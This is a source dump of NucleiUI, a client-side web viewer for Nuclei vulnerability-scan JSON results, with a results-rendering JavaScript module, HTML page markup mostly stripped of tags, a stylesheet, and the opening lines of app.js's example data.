1 | import { state, setSelectedResult } from './state.js';
2 | import { utils } from './utils.js';
3 |
4 | export function initResultsView() {
5 | // Initial setup for results view
6 | const resultsList = document.getElementById('results-list');
7 | const detailView = document.getElementById('detail-view');
8 |
9 | // Handle window resize for responsive design
10 | window.addEventListener('resize', () => {
11 | if (window.innerWidth > 1024) {
12 | resultsList.style.display = 'block';
13 | detailView.style.display = 'block';
14 | }
15 | });
16 | }
17 |
18 | export function renderResults() {
19 | const resultsList = document.getElementById('results-list');
20 | const detailView = document.getElementById('detail-view');
21 |
22 | resultsList.innerHTML = '';
23 |
24 | if (state.filteredResults.length === 0) {
25 | resultsList.innerHTML = 'No results found
';
26 | detailView.innerHTML = '';
27 | return;
28 | }
29 |
30 | state.filteredResults.forEach((result, index) => {
31 | const resultItem = document.createElement('div');
32 | resultItem.className = 'result-item';
33 | resultItem.dataset.index = index;
34 |
35 | const severity = result.info?.severity?.toLowerCase() || 'info';
36 |
37 | resultItem.innerHTML = `
38 |
42 |
46 |
47 | ${(result.info?.tags || []).slice(0, 3).map(tag =>
48 | `${utils.escapeHtml(tag)}`
49 | ).join('')}
50 | ${(result.info?.tags || []).length > 3 ? `+${result.info.tags.length - 3} more` : ''}
51 |
52 | `;
53 |
54 | resultItem.addEventListener('click', () => {
55 | document.querySelectorAll('.result-item').forEach(item => {
56 | item.classList.remove('active');
57 | });
58 | resultItem.classList.add('active');
59 | setSelectedResult(index);
60 | renderDetailView(state.filteredResults[index]);
61 |
62 | // For mobile: show detail view
63 | if (window.innerWidth <= 1024) {
64 | resultsList.style.display = 'none';
65 | detailView.classList.add('active');
66 | detailView.style.display = 'block';
67 | }
68 | });
69 |
70 | resultsList.appendChild(resultItem);
71 | });
72 |
73 | // Select the first result by default
74 | if (state.filteredResults.length > 0 && state.selectedResultIndex === -1) {
75 | setSelectedResult(0);
76 | document.querySelector('.result-item').classList.add('active');
77 | renderDetailView(state.filteredResults[0]);
78 | } else if (state.selectedResultIndex >= 0 && state.selectedResultIndex < state.filteredResults.length) {
79 | // Keep the selected item if it's still in the filtered results
80 | document.querySelector(`.result-item[data-index="${state.selectedResultIndex}"]`)?.classList.add('active');
81 | renderDetailView(state.filteredResults[state.selectedResultIndex]);
82 | } else {
83 | // Reset if the selected item is no longer in the filtered results
84 | setSelectedResult(-1);
85 | detailView.innerHTML = 'Select a finding to view details
';
86 | }
87 | }
88 |
89 | export function renderDetailView(result) {
90 | const detailView = document.getElementById('detail-view');
91 |
92 | if (!result) {
93 | detailView.innerHTML = 'Select a finding to view details
';
94 | return;
95 | }
96 |
97 | const severity = result.info?.severity?.toLowerCase() || 'info';
98 |
99 | let detailHtml = `
100 |
124 |
125 |
126 |
Description
127 |
${utils.escapeHtml(result.info?.description || 'No description available.')}
128 |
129 | `;
130 |
131 | if (result.info?.reference && result.info.reference.length > 0) {
132 | detailHtml += `
133 |
134 |
References
135 |
143 |
144 | `;
145 | }
146 |
147 | detailHtml += `
148 |
149 |
Request
150 |
${utils.escapeHtml(result.request || 'No request data available.')}
151 |
152 |
153 |
154 |
Response
155 |
${utils.escapeHtml(result.response || 'No response data available.')}
156 |
157 |
158 |
159 |
cURL Command
160 |
${utils.escapeHtml(result['curl-command'] || 'No cURL command available.')}
161 |
164 |
165 | `;
166 |
167 | // Add back button for mobile view
168 | if (window.innerWidth <= 1024) {
169 | detailHtml = `
170 |
171 |
172 |
173 | ` + detailHtml;
174 | }
175 |
176 | detailView.innerHTML = detailHtml;
177 |
178 | // Add event listener for back button on mobile
179 | if (window.innerWidth <= 1024) {
180 | document.getElementById('back-to-list').addEventListener('click', () => {
181 | detailView.style.display = 'none';
182 | detailView.classList.remove('active');
183 | document.getElementById('results-list').style.display = 'block';
184 | });
185 | }
186 |
187 | // Add event listener for copy button
188 | document.querySelectorAll('.copy-btn').forEach(btn => {
189 | btn.addEventListener('click', () => {
190 | const content = btn.dataset.content;
191 | navigator.clipboard.writeText(content).then(() => {
192 | const originalText = btn.innerHTML;
193 | btn.innerHTML = ' Copied!';
194 | setTimeout(() => {
195 | btn.innerHTML = originalText;
196 | }, 2000);
197 | });
198 | });
199 | });
200 | }
201 |
--------------------------------------------------------------------------------
/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 | NucleiUI - Scan Results Viewer
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
28 |
29 |
30 |
31 |
42 |
Shoot First. View Scans Later.
43 |
44 | NucleiUI helps you explore and understand your Nuclei scan results with clarity and speed.
45 |
46 |
47 |
48 |
49 |
50 |
Upload JSON File
51 |
Drop your Nuclei scan results JSON file here or browse from your device.
52 |
53 |
54 |
55 |
56 |
57 |
58 |
Not convinced?
59 |
Try our example scan data. It actually really works.
60 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
Visual Charts
70 |
Severity breakdowns, tag trends, and more.
71 |
72 |
73 |
74 |
Advanced Filters
75 |
Search by tags, severity, text, and more.
76 |
77 |
78 |
79 |
Export Ready
80 |
Download filtered results as JSON, CSV, or HTML.
81 |
82 |
83 |
84 |
Dark Mode
85 |
Because your eyes deserve better at 3am.
86 |
87 |
88 |
89 |
Deep Search
90 |
Quickly search across all request/response data.
91 |
92 |
93 |
94 |
Privacy Focused
95 |
Everything happens in the browser, no data leaves your machine.
96 |
97 |
98 |
104 |
105 |
106 |
107 |
108 |
130 |
131 |
132 |
133 |
134 |
135 |
136 |
137 |
0Total
138 |
0Critical
139 |
0High
140 |
0Medium
141 |
0Low
142 |
0Info
143 |
0Filtered
144 |
145 |
146 |
147 |
Findings by Severity
148 |
Top 10 Tags
149 |
150 |
151 |
152 |
153 |
158 |
159 |
160 |
161 |
162 |
163 |
164 |
165 |
166 |
167 |
Select a finding to view details
168 |
169 |
170 |
171 |
172 |
173 |
176 |
177 |
178 |
--------------------------------------------------------------------------------
/styles.css:
--------------------------------------------------------------------------------
1 | :root {
2 | --primary-color: #3498db;
3 | --secondary-color: #2980b9;
4 | --background-color: #f8f9fa;
5 | --card-background: #ffffff;
6 | --text-color: #333333;
7 | --border-color: #e0e0e0;
8 | --hover-color: #f5f5f5;
9 |
10 | --critical-color: #e74c3c;
11 | --high-color: #e67e22;
12 | --medium-color: #f39c12;
13 | --low-color: #3498db;
14 | --info-color: #7f8c8d;
15 | }
16 |
17 | * {
18 | margin: 0;
19 | padding: 0;
20 | box-sizing: border-box;
21 | }
22 |
23 | body {
24 | font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
25 | background-color: var(--background-color);
26 | color: var(--text-color);
27 | line-height: 1.6;
28 | }
29 |
30 | .container {
31 | max-width: 1400px;
32 | margin: 0 auto;
33 | padding: 20px;
34 | }
35 |
36 | /* Navigation Styles */
37 | .main-nav {
38 | display: flex;
39 | justify-content: space-between;
40 | align-items: center;
41 | padding: 15px 20px;
42 | background-color: var(--card-background);
43 | box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
44 | margin-bottom: 20px;
45 | border-radius: 8px;
46 | }
47 |
48 | .nav-logo {
49 | display: flex;
50 | align-items: center;
51 | }
52 |
53 | .nav-logo a {
54 | display: flex;
55 | align-items: center;
56 | text-decoration: none;
57 | color: var(--text-color);
58 | font-weight: bold;
59 | font-size: 1.2rem;
60 | }
61 |
62 | .nav-logo-img {
63 | height: 30px;
64 | margin-right: 10px;
65 | }
66 |
67 | .nav-links {
68 | display: flex;
69 | gap: 20px;
70 | }
71 |
72 | .nav-link {
73 | text-decoration: none;
74 | color: var(--text-color);
75 | padding: 5px 10px;
76 | border-radius: 4px;
77 | transition: background-color 0.2s;
78 | }
79 |
80 | .nav-link:hover {
81 | background-color: var(--hover-color);
82 | }
83 |
84 | .nav-link.active {
85 | color: var(--primary-color);
86 | font-weight: bold;
87 | }
88 |
89 | .nav-link i {
90 | margin-right: 5px;
91 | }
92 |
93 | header, .results-header {
94 | display: flex;
95 | justify-content: space-between;
96 | align-items: center;
97 | margin-bottom: 20px;
98 | flex-wrap: wrap;
99 | gap: 20px;
100 | }
101 |
102 | .header-left {
103 | display: flex;
104 | align-items: center;
105 | gap: 20px;
106 | }
107 |
108 | h1 {
109 | font-size: 24px;
110 | color: var(--primary-color);
111 | }
112 |
113 | .file-info {
114 | display: none;
115 | align-items: center;
116 | gap: 10px;
117 | font-size: 14px;
118 | color: var(--text-color);
119 | background-color: var(--card-background);
120 | padding: 8px 15px;
121 | border-radius: 20px;
122 | box-shadow: 0 2px 4px rgba(0, 0, 0, 0.05);
123 | cursor: pointer;
124 | transition: background-color 0.2s;
125 | }
126 |
127 | .file-info:hover {
128 | background-color: var(--hover-color);
129 | }
130 |
131 | .header-right {
132 | display: flex;
133 | align-items: center;
134 | gap: 15px;
135 | }
136 |
137 | .controls {
138 | display: flex;
139 | gap: 10px;
140 | flex-wrap: wrap;
141 | }
142 |
143 | .search-container {
144 | position: relative;
145 | }
146 |
147 | .search-container input {
148 | padding: 8px 15px 8px 35px;
149 | border: 1px solid var(--border-color);
150 | border-radius: 20px;
151 | width: 250px;
152 | font-size: 14px;
153 | background-color: var(--card-background);
154 | color: var(--text-color);
155 | }
156 |
157 | .search-container i {
158 | position: absolute;
159 | left: 12px;
160 | top: 50%;
161 | transform: translateY(-50%);
162 | color: #999;
163 | }
164 |
165 | .filter-container {
166 | display: flex;
167 | gap: 10px;
168 | }
169 |
170 | .filter-container select,
171 | .filter-container input {
172 | padding: 8px 15px;
173 | border: 1px solid var(--border-color);
174 | border-radius: 20px;
175 | font-size: 14px;
176 | background-color: var(--card-background);
177 | color: var(--text-color);
178 | }
179 |
180 | .theme-toggle {
181 | background-color: var(--card-background);
182 | color: var(--text-color);
183 | border: 1px solid var(--border-color);
184 | border-radius: 50%;
185 | width: 40px;
186 | height: 40px;
187 | display: flex;
188 | align-items: center;
189 | justify-content: center;
190 | cursor: pointer;
191 | transition: all 0.3s ease;
192 | }
193 |
194 | .theme-toggle:hover {
195 | background-color: var(--hover-color);
196 | }
197 |
198 | /* Welcome Screen Styles */
199 | .welcome-screen {
200 | display: flex;
201 | flex-direction: column;
202 | align-items: center;
203 | justify-content: center;
204 | padding: 40px 20px;
205 | text-align: center;
206 | }
207 |
208 | .welcome-content {
209 | max-width: 1000px;
210 | margin: 0 auto;
211 | }
212 |
213 | .logo-container {
214 | margin-bottom: 30px;
215 | }
216 |
217 | .nuclei-logo {
218 | max-width: 200px;
219 | height: auto;
220 | }
221 |
222 | .welcome-screen h1 {
223 | font-size: 2.5rem;
224 | margin-bottom: 20px;
225 | color: var(--primary-color);
226 | }
227 |
228 | .welcome-description {
229 | font-size: 1.2rem;
230 | line-height: 1.6;
231 | margin-bottom: 40px;
232 | color: var(--text-color);
233 | max-width: 800px;
234 | margin-left: auto;
235 | margin-right: auto;
236 | }
237 |
238 | /* Example Data Banner */
239 | .example-data-banner {
240 | background: linear-gradient(135deg, #6a11cb 0%, #2575fc 100%);
241 | border-radius: 10px;
242 | padding: 5px;
243 | margin: 0 auto 40px;
244 | max-width: 800px;
245 | box-shadow: 0 4px 15px rgba(0, 0, 0, 0.1);
246 | }
247 |
248 | .example-data-content {
249 | background-color: rgba(255, 255, 255, 0.1);
250 | border-radius: 8px;
251 | padding: 20px;
252 | display: flex;
253 | align-items: center;
254 | gap: 20px;
255 | }
256 |
257 | .example-icon {
258 | font-size: 2.5rem;
259 | color: white;
260 | background-color: rgba(255, 255, 255, 0.2);
261 | width: 70px;
262 | height: 70px;
263 | display: flex;
264 | align-items: center;
265 | justify-content: center;
266 | border-radius: 50%;
267 | flex-shrink: 0;
268 | }
269 |
270 | .example-text {
271 | flex-grow: 1;
272 | }
273 |
274 | .example-text h3 {
275 | color: white;
276 | margin: 0 0 5px;
277 | font-size: 1.3rem;
278 | }
279 |
280 | .example-text p {
281 | color: rgba(255, 255, 255, 0.9);
282 | margin: 0;
283 | }
284 |
285 | .example-data-btn {
286 | background-color: white;
287 | color: #6a11cb;
288 | border: none;
289 | border-radius: 30px;
290 | padding: 10px 20px;
291 | font-weight: bold;
292 | cursor: pointer;
293 | transition: transform 0.2s, box-shadow 0.2s;
294 | display: flex;
295 | align-items: center;
296 | gap: 8px;
297 | white-space: nowrap;
298 | }
299 |
300 | .example-data-btn:hover {
301 | transform: translateY(-2px);
302 | box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2);
303 | }
304 |
305 | .features-container {
306 | display: grid;
307 | grid-template-columns: repeat(auto-fit, minmax(220px, 1fr));
308 | gap: 20px;
309 | margin-bottom: 40px;
310 | }
311 |
312 | .feature-card {
313 | background-color: var(--card-background);
314 | border-radius: 10px;
315 | padding: 25px 20px;
316 | box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
317 | transition: transform 0.3s ease, box-shadow 0.3s ease;
318 | }
319 |
320 | .feature-card:hover {
321 | transform: translateY(-5px);
322 | box-shadow: 0 6px 12px rgba(0, 0, 0, 0.15);
323 | }
324 |
325 | .feature-card i {
326 | font-size: 2.5rem;
327 | color: var(--primary-color);
328 | margin-bottom: 15px;
329 | }
330 |
331 | .feature-card h3 {
332 | font-size: 1.2rem;
333 | margin-bottom: 10px;
334 | color: var(--text-color);
335 | }
336 |
337 | .feature-card p {
338 | font-size: 0.9rem;
339 | color: #666;
340 | }
341 |
342 | .welcome-upload {
343 | position: relative !important;
344 | background: none !important;
345 | margin: 20px 0 40px;
346 | }
347 |
348 | .social-links {
349 | display: flex;
350 | justify-content: center;
351 | gap: 15px;
352 | margin-bottom: 30px;
353 | flex-wrap: wrap;
354 | }
355 |
356 | .social-badge {
357 | display: inline-flex;
358 | align-items: center;
359 | padding: 8px 15px;
360 | border-radius: 20px;
361 | text-decoration: none;
362 | font-size: 0.9rem;
363 | font-weight: 500;
364 | transition: transform 0.2s ease;
365 | }
366 |
367 | .social-badge:hover {
368 | transform: translateY(-2px);
369 | }
370 |
371 | .social-badge i {
372 | margin-right: 8px;
373 | font-size: 1.1rem;
374 | }
375 |
376 | .github {
377 | background-color: #24292e;
378 | color: white;
379 | }
380 |
381 | .twitter {
382 | background-color: #1da1f2;
383 | color: white;
384 | }
385 |
386 | .linkedin {
387 | background-color: #0077b5;
388 | color: white;
389 | }
390 |
391 | .project-info {
392 | margin-top: 20px;
393 | font-size: 0.9rem;
394 | color: #666;
395 | }
396 |
397 | .project-info a {
398 | color: var(--primary-color);
399 | text-decoration: none;
400 | margin-left: 5px;
401 | }
402 |
403 | .project-info a:hover {
404 | text-decoration: underline;
405 | }
406 |
407 | /* Results Actions */
408 | .results-actions {
409 | display: flex;
410 | gap: 10px;
411 | margin-bottom: 20px;
412 | }
413 |
414 | .action-btn {
415 | background-color: var(--card-background);
416 | color: var(--text-color);
417 | border: 1px solid var(--border-color);
418 | border-radius: 4px;
419 | padding: 8px 15px;
420 | cursor: pointer;
421 | display: flex;
422 | align-items: center;
423 | gap: 8px;
424 | transition: background-color 0.2s;
425 | }
426 |
427 | .action-btn:hover {
428 | background-color: var(--hover-color);
429 | }
430 |
431 | .action-btn i {
432 | font-size: 0.9rem;
433 | }
434 |
435 | .stats-bar {
436 | display: flex;
437 | justify-content: space-between;
438 | margin-bottom: 20px;
439 | flex-wrap: wrap;
440 | gap: 10px;
441 | }
442 |
443 | .stat-item {
444 | flex: 1;
445 | min-width: 120px;
446 | background-color: var(--card-background);
447 | border-radius: 8px;
448 | padding: 15px;
449 | text-align: center;
450 | box-shadow: 0 2px 4px rgba(0, 0, 0, 0.05);
451 | display: flex;
452 | flex-direction: column;
453 | align-items: center;
454 | }
455 |
456 | .stat-value {
457 | font-size: 24px;
458 | font-weight: bold;
459 | margin-bottom: 5px;
460 | }
461 |
462 | .stat-label {
463 | font-size: 14px;
464 | color: #666;
465 | }
466 |
467 | .stat-item.critical .stat-value {
468 | color: var(--critical-color);
469 | }
470 |
471 | .stat-item.high .stat-value {
472 | color: var(--high-color);
473 | }
474 |
475 | .stat-item.medium .stat-value {
476 | color: var(--medium-color);
477 | }
478 |
479 | .stat-item.low .stat-value {
480 | color: var(--low-color);
481 | }
482 |
483 | .stat-item.info .stat-value {
484 | color: var(--info-color);
485 | }
486 |
487 | .charts-container {
488 | display: grid;
489 | grid-template-columns: 1fr 1fr;
490 | gap: 20px;
491 | margin-bottom: 20px;
492 | }
493 |
494 | .chart-card {
495 | background-color: var(--card-background);
496 | border-radius: 8px;
497 | padding: 15px;
498 | box-shadow: 0 2px 4px rgba(0, 0, 0, 0.05);
499 | height: 300px;
500 | display: flex;
501 | flex-direction: column;
502 | align-items: center; /* Center horizontally */
503 | }
504 |
505 | .chart-card h3 {
506 | margin-top: 0;
507 | margin-bottom: 10px; /* Reduced margin to move chart up */
508 | color: var(--primary-color);
509 | font-size: 16px;
510 | align-self: flex-start; /* Align title to the left */
511 | }
512 |
513 | /* Add this new class to position the chart higher */
514 | .chart-card canvas {
515 | margin-top: -10px; /* Negative margin to move chart up */
516 | max-height: 260px; /* Slightly increased to give more room for the chart */
517 | width: 90% !important; /* Slightly smaller width to ensure it fits */
518 | height: auto !important;
519 | }
520 |
521 | .export-bar {
522 | display: flex;
523 | justify-content: space-between;
524 | align-items: center;
525 | margin-bottom: 20px;
526 | background-color: var(--card-background);
527 | border-radius: 8px;
528 | padding: 15px;
529 | box-shadow: 0 2px 4px rgba(0, 0, 0, 0.05);
530 | }
531 |
532 | .export-options {
533 | display: flex;
534 | align-items: center;
535 | gap: 15px;
536 | }
537 |
538 | .export-options select {
539 | padding: 8px 12px;
540 | border: 1px solid var(--border-color);
541 | border-radius: 4px;
542 | background-color: var(--card-background);
543 | color: var(--text-color);
544 | }
545 |
546 | .export-filter {
547 | display: flex;
548 | align-items: center;
549 | gap: 5px;
550 | font-size: 14px;
551 | }
552 |
553 | .export-btn {
554 | background-color: var(--secondary-color);
555 | color: white;
556 | border: none;
557 | border-radius: 4px;
558 | padding: 8px 15px;
559 | cursor: pointer;
560 | display: flex;
561 | align-items: center;
562 | gap: 8px;
563 | transition: background-color 0.2s;
564 | }
565 |
566 | .export-btn:hover {
567 | background-color: #2471a3;
568 | }
569 |
570 | .main-content {
571 | display: flex;
572 | height: calc(100vh - 300px);
573 | min-height: 500px;
574 | }
575 |
576 | .upload-container {
577 | position: absolute;
578 | top: 0;
579 | left: 0;
580 | width: 100%;
581 | height: 100%;
582 | background-color: rgba(255, 255, 255, 0.9);
583 | display: flex;
584 | justify-content: center;
585 | align-items: center;
586 | z-index: 10;
587 | }
588 |
589 | .upload-area {
590 | background-color: var(--card-background);
591 | border: 2px dashed var(--border-color);
592 | border-radius: 8px;
593 | padding: 40px;
594 | text-align: center;
595 | width: 100%;
596 | max-width: 500px;
597 | position: relative;
598 | transition: all 0.3s ease;
599 | }
600 |
601 | .upload-area i {
602 | font-size: 48px;
603 | color: var(--primary-color);
604 | margin-bottom: 20px;
605 | }
606 |
607 | .upload-area h2 {
608 | margin-bottom: 10px;
609 | color: var(--primary-color);
610 | }
611 |
612 | .upload-area p {
613 | margin-bottom: 20px;
614 | color: #666;
615 | }
616 |
617 | .upload-area input[type="file"] {
618 | display: none;
619 | }
620 |
621 | .browse-btn {
622 | background-color: var(--primary-color);
623 | color: white;
624 | border: none;
625 | border-radius: 4px;
626 | padding: 10px 20px;
627 | cursor: pointer;
628 | transition: background-color 0.2s;
629 | }
630 |
631 | .browse-btn:hover {
632 | background-color: var(--secondary-color);
633 | }
634 |
635 | .results-container {
636 | display: flex;
637 | width: 100%;
638 | height: 100%;
639 | border-radius: 8px;
640 | overflow: hidden;
641 | box-shadow: 0 2px 4px rgba(0, 0, 0, 0.05);
642 | }
643 |
644 | .results-list {
645 | width: 40%;
646 | background-color: var(--card-background);
647 | overflow-y: auto;
648 | border-right: 1px solid var(--border-color);
649 | }
650 |
651 | .result-item {
652 | padding: 15px;
653 | border-bottom: 1px solid var(--border-color);
654 | cursor: pointer;
655 | transition: background-color 0.2s;
656 | }
657 |
658 | .result-item:hover {
659 | background-color: var(--hover-color);
660 | }
661 |
662 | .result-item.active {
663 | background-color: #e3f2fd;
664 | border-left: 4px solid var(--primary-color);
665 | }
666 |
667 | .result-header {
668 | display: flex;
669 | justify-content: space-between;
670 | align-items: center;
671 | margin-bottom: 8px;
672 | }
673 |
674 | .result-title {
675 | font-weight: bold;
676 | font-size: 16px;
677 | color: var(--text-color);
678 | }
679 |
680 | .result-severity {
681 | padding: 4px 8px;
682 | border-radius: 4px;
683 | font-size: 12px;
684 | font-weight: bold;
685 | color: white;
686 | }
687 |
688 | .severity-badge-critical {
689 | background-color: var(--critical-color);
690 | }
691 |
692 | .severity-badge-high {
693 | background-color: var(--high-color);
694 | }
695 |
696 | .severity-badge-medium {
697 | background-color: var(--medium-color);
698 | }
699 |
700 | .severity-badge-low {
701 | background-color: var(--low-color);
702 | }
703 |
704 | .severity-badge-info {
705 | background-color: var(--info-color);
706 | }
707 |
708 | .result-meta {
709 | display: flex;
710 | justify-content: space-between;
711 | font-size: 13px;
712 | color: #666;
713 | margin-bottom: 8px;
714 | }
715 |
716 | .result-tags {
717 | display: flex;
718 | flex-wrap: wrap;
719 | gap: 5px;
720 | }
721 |
722 | .tag {
723 | background-color: #f0f0f0;
724 | color: #666;
725 | padding: 2px 8px;
726 | border-radius: 12px;
727 | font-size: 12px;
728 | }
729 |
730 | .detail-view {
731 | width: 60%;
732 | background-color: var(--card-background);
733 | overflow-y: auto;
734 | padding: 20px;
735 | }
736 |
737 | .placeholder {
738 | height: 100%;
739 | display: flex;
740 | flex-direction: column;
741 | justify-content: center;
742 | align-items: center;
743 | color: #999;
744 | text-align: center;
745 | }
746 |
747 | .placeholder i {
748 | font-size: 48px;
749 | margin-bottom: 15px;
750 | }
751 |
752 | .detail-header {
753 | margin-bottom: 20px;
754 | }
755 |
756 | .detail-title {
757 | font-size: 20px;
758 | margin-bottom: 10px;
759 | color: var(--text-color);
760 | }
761 |
762 | .detail-meta {
763 | display: flex;
764 | flex-wrap: wrap;
765 | gap: 15px;
766 | margin-bottom: 15px;
767 | }
768 |
769 | .detail-meta-item {
770 | display: flex;
771 | align-items: center;
772 | gap: 5px;
773 | font-size: 14px;
774 | color: #666;
775 | }
776 |
777 | .severity-critical {
778 | color: var(--critical-color);
779 | font-weight: bold;
780 | }
781 |
782 | .severity-high {
783 | color: var(--high-color);
784 | font-weight: bold;
785 | }
786 |
787 | .severity-medium {
788 | color: var(--medium-color);
789 | font-weight: bold;
790 | }
791 |
792 | .severity-low {
793 | color: var(--low-color);
794 | font-weight: bold;
795 | }
796 |
797 | .severity-info {
798 | color: var(--info-color);
799 | font-weight: bold;
800 | }
801 |
802 | .detail-tags {
803 | display: flex;
804 | flex-wrap: wrap;
805 | gap: 8px;
806 | margin-bottom: 20px;
807 | }
808 |
809 | .detail-tag {
810 | background-color: #f0f0f0;
811 | color: #666;
812 | padding: 5px 10px;
813 | border-radius: 15px;
814 | font-size: 13px;
815 | }
816 |
817 | .detail-section {
818 | margin-bottom: 25px;
819 | }
820 |
821 | .detail-section h3 {
822 | font-size: 16px;
823 | margin-bottom: 10px;
824 | color: var(--primary-color);
825 | }
826 |
827 | .detail-description {
828 | background-color: #f9f9f9;
829 | padding: 15px;
830 | border-radius: 4px;
831 | white-space: pre-line;
832 | font-size: 14px;
833 | line-height: 1.6;
834 | }
835 |
836 | .detail-references {
837 | list-style-type: none;
838 | padding-left: 0;
839 | }
840 |
841 | .detail-references li {
842 | margin-bottom: 8px;
843 | }
844 |
845 | .detail-references a {
846 | color: var(--primary-color);
847 | text-decoration: none;
848 | word-break: break-all;
849 | }
850 |
851 | .detail-references a:hover {
852 | text-decoration: underline;
853 | }
854 |
855 | .request-response {
856 | background-color: #f5f5f5;
857 | padding: 15px;
858 | border-radius: 4px;
859 | font-family: monospace;
860 | white-space: pre-wrap;
861 | overflow-x: auto;
862 | font-size: 13px;
863 | border: 1px solid #e0e0e0;
864 | max-height: 300px;
865 | overflow-y: auto;
866 | }
867 |
868 | .copy-btn {
869 | background-color: var(--primary-color);
870 | color: white;
871 | border: none;
872 | border-radius: 4px;
873 | padding: 5px 10px;
874 | font-size: 12px;
875 | cursor: pointer;
876 | margin-top: 5px;
877 | display: flex;
878 | align-items: center;
879 | gap: 5px;
880 | }
881 |
882 | .copy-btn:hover {
883 | background-color: var(--secondary-color);
884 | }
885 |
886 | .no-results {
887 | padding: 20px;
888 | text-align: center;
889 | color: #666;
890 | }
891 |
892 | .mobile-back-button {
893 | display: none;
894 | margin-bottom: 15px;
895 | }
896 |
897 | .mobile-back-button button {
898 | background-color: var(--primary-color);
899 | color: white;
900 | border: none;
901 | border-radius: 4px;
902 | padding: 8px 15px;
903 | cursor: pointer;
904 | display: flex;
905 | align-items: center;
906 | gap: 8px;
907 | }
908 |
909 | .footer {
910 | margin-top: 40px;
911 | padding: 20px;
912 | text-align: center;
913 | font-size: 0.9rem;
914 | color: #666;
915 | border-top: 1px solid var(--border-color);
916 | }
917 |
918 | .footer a {
919 | color: var(--primary-color);
920 | text-decoration: none;
921 | }
922 |
923 | .footer a:hover {
924 | text-decoration: underline;
925 | }
926 |
927 | .footer .fa-heart {
928 | color: #e74c3c;
929 | }
930 |
931 | /* Dark mode styles */
932 | .dark-mode {
933 | --primary-color: #8ab4f8;
934 | --secondary-color: #64b5f6;
935 | --background-color: #121212;
936 | --card-background: #1e1e1e;
937 | --text-color: #e0e0e0;
938 | --border-color: #333333;
939 | --hover-color: #2c2c2c;
940 | }
941 |
942 | .dark-mode .result-item {
943 | border-bottom-color: #333333;
944 | }
945 |
946 | .dark-mode .tag,
947 | .dark-mode .detail-tag {
948 | background-color: #2c2c2c;
949 | color: #b0b0b0;
950 | }
951 |
952 | .dark-mode .detail-description {
953 | background-color: #2c2c2c;
954 | }
955 |
956 | .dark-mode .request-response {
957 | background-color: #1a1a1a;
958 | color: #b0b0b0;
959 | border: 1px solid #333333;
960 | }
961 |
962 | .dark-mode .placeholder {
963 | color: #666666;
964 | }
965 |
966 | .dark-mode .result-item.active {
967 | background-color: #2c3e50;
968 | border-left-color: var(--primary-color);
969 | }
970 |
971 | .dark-mode .upload-container {
972 | background-color: rgba(18, 18, 18, 0.9);
973 | }
974 |
975 | .dark-mode .upload-area {
976 | border-color: #333333;
977 | }
978 |
979 | .dark-mode .feature-card {
980 | background-color: var(--card-background);
981 | }
982 |
983 | .dark-mode .feature-card p {
984 | color: #aaa;
985 | }
986 |
987 | .dark-mode .project-info,
988 | .dark-mode .footer {
989 | color: #aaa;
990 | }
991 |
992 | /* Responsive styles */
993 | @media (max-width: 1024px) {
994 | .main-content {
995 | height: calc(100vh - 350px);
996 | }
997 |
998 | .results-container {
999 | position: relative;
1000 | }
1001 |
1002 | .results-list {
1003 | width: 100%;
1004 | }
1005 |
1006 | .detail-view {
1007 | position: absolute;
1008 | top: 0;
1009 | left: 0;
1010 | width: 100%;
1011 | height: 100%;
1012 | display: none;
1013 | z-index: 5;
1014 | }
1015 |
1016 | .detail-view.active {
1017 | display: block;
1018 | }
1019 |
1020 | .mobile-back-button {
1021 | display: block;
1022 | }
1023 |
1024 | .charts-container {
1025 | grid-template-columns: 1fr;
1026 | }
1027 |
1028 | .chart-card {
1029 | height: 250px;
1030 | }
1031 |
1032 | .nav-links {
1033 | display: none;
1034 | }
1035 |
1036 | .main-nav {
1037 | padding: 10px;
1038 | }
1039 | }
1040 |
1041 | @media (max-width: 768px) {
1042 | .header-left, .header-right {
1043 | width: 100%;
1044 | }
1045 |
1046 | .controls {
1047 | width: 100%;
1048 | }
1049 |
1050 | .search-container input {
1051 | width: 100%;
1052 | }
1053 |
1054 | .filter-container {
1055 | width: 100%;
1056 | }
1057 |
1058 | .filter-container select,
1059 | .filter-container input {
1060 | flex: 1;
1061 | }
1062 |
1063 | .stats-bar {
1064 | flex-wrap: wrap;
1065 | }
1066 |
1067 | .stat-item {
1068 | min-width: calc(50% - 10px);
1069 | }
1070 |
1071 | .export-bar {
1072 | flex-direction: column;
1073 | gap: 15px;
1074 | }
1075 |
1076 | .export-options {
1077 | width: 100%;
1078 | flex-direction: column;
1079 | align-items: flex-start;
1080 | }
1081 |
1082 | .export-options select {
1083 | width: 100%;
1084 | }
1085 |
1086 | .example-data-content {
1087 | flex-direction: column;
1088 | text-align: center;
1089 | }
1090 |
1091 | .welcome-screen h1 {
1092 | font-size: 2rem;
1093 | }
1094 |
1095 | .welcome-description {
1096 | font-size: 1rem;
1097 | }
1098 | }
1099 |
1100 | /* Add these styles to your CSS file */
1101 | .upload-area.dragover {
1102 | background-color: var(--hover-color);
1103 | border-color: var(--primary-color);
1104 | }
1105 |
1106 | /* Add these styles to your CSS file */
1107 | .close-upload-btn {
1108 | position: absolute;
1109 | top: 10px;
1110 | right: 10px;
1111 | background: none;
1112 | border: none;
1113 | color: var(--text-color);
1114 | font-size: 18px;
1115 | cursor: pointer;
1116 | width: 30px;
1117 | height: 30px;
1118 | display: flex;
1119 | align-items: center;
1120 | justify-content: center;
1121 | border-radius: 50%;
1122 | transition: background-color 0.2s;
1123 | }
1124 |
1125 | .close-upload-btn:hover {
1126 | background-color: var(--hover-color);
1127 | }
1128 |
1129 | .center-btn {
1130 | display: block;
1131 | margin-left: auto;
1132 | margin-right: auto;
1133 | }
1134 |
--------------------------------------------------------------------------------
/app.js:
--------------------------------------------------------------------------------
1 | import { state, resetState } from './modules/state.js';
2 | import { initCharts, updateCharts } from './modules/charts.js';
3 | import { renderResults, renderDetailView, initResultsView } from './modules/resultsView.js';
4 | import { initTheme } from './modules/theme.js';
5 | import { utils } from './modules/utils.js';
6 |
7 | // Example data for demonstration purposes
8 | const exampleData = [
9 | {
10 | "template": "ssl-issuer.yaml",
11 | "template-id": "ssl-issuer",
12 | "template-path": "ssl/ssl-issuer.yaml",
13 | "info": {
